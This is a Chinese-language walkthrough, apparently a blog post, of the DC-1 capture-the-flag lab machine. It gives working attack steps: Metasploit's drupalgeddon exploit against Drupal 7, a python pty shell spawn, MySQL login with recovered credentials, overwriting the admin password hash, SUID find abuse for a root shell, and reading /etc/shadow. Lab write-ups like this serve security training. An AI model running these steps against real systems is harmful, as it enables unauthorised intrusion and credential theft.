回忆DC-1

信息搜集阶段,知道靶机ip地址,进行一手主机的发现,用nmap扫开放的端口

【不要拿扫描器扫公网的任何资产(非授权)】

扫出来22和80端口之后知道对应开放了ssh和http服务
如果思路是对22端口进行攻击,由于不知道用户名等信息,爆破有点繁琐,那就来经典web网页测试看看。
使用Wappalyzer插件发现,以及nmap中扫出来的信息提示,该网站的建站系统为Drupal 7,到网上找关于它的漏洞信息。注意到现在的版本已经到11了所以7应该是有挺多漏洞的。

使用一款新的工具metasploit
尝试在metasploit里查找有没有相关的利用脚本
search drupal 7

使用命令来使用该模块
use exploit/unix/webapp/drupal_drupalgeddon

对于Required为yes的项都需要设置才能使用

所以设置Rhost为靶机ip地址,命令如下:
set RHOSTS 192.168.xx.xx

使用命令启动:
exploit

可以看到已经攻击成功,已经建立了一个meterpreter会话,可以理解为建立了一个反弹shell

输入 shell 命令 再随便输入点命令如 pwd 等,由于不是交互式的shell,很不方便,不妨唤出交互式的,如用python -v看看有无安装python,有的话输入命令:
python -c ‘import pty;pty.spawn(“/bin/bash”)’
——————————————————————————————————————-
拿到了shell,接着就是要找一些敏感文件,靶场设置了一些flag帮助解题,通过ls命令查看当前目录文件可以发现有flag1,用 cat 命令查看,它提示每个 cms 都需要一个config file,直接去网上搜drupal的文件结构 发现3.6 sites文件夹中有一个配置文件setting.php,查看他发现有数据库的一些配置,也就是说到了对数据库进行操作的阶段。使用他给的数据登录mysql
mysql -udbuser -pR0ck3t

有mysql的数据

按照注入的思路一步步看库看表看字段看值。。。
看到有一张表时user一般大概率能用
select * from users \G; 查看表里的信息
发现有admin的信息,但是密码被加密了,试试看解决这个问题,要么用我们自己的密码用同一种方式加密替换他,要么试试还原密码,或者其他操作。
去google一下drupal的用户密码是如何加密的

网上找到的文章,可见是md5加密之后加盐再加密的模式

仔细思考,发现加密的过程使用脚本,我们可以利用脚本把我们的密码也同样加密,之后替换admin的密码。
php scripts/password-hash.sh 123 >password.txt
利用脚本把我们密码为 123 进行加密之后放在password.txt
cat 查看加密的密文,准备用它来覆盖admin的密码,之后就可以登录了


接下来是提权环节

在网页看到flag,flag提示它想让我们去读取/etc/passwd,但事实上这个文件需要root权限才能读取,而我们只是一般的普通用户权限,故此处考虑提权。
据flag3中提到的关键词 perms find passwd -exec 考虑使用具有suid的命令来提权

对于拥有suid的命令来说,它最显而易见的特点是,使用该命令时,执行命令的权限为文件拥有者的权限,而不是使用命令者的权限。
find / -perm -4000 该命令查找符合要求的命令

find符合

发现find拥有这样的特点 而find中的参数-exec 可以执行其后跟随的命令
find password.txt -exec ‘/bin/sh’ \;

得到了root权限

cat /etc/passwd
cat /etc/shawdow

都看看里面有没有有用的信息
【网上查询文章,shawdow也叫影子文件存储用户密码信息,该文件只有root用户拥有读权限】
看到shawdow下有flag,是加密的,可以爆破,比如用hydra工具。
因为已经是root,直接找到文件cat一下就行。
本关到此结束

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注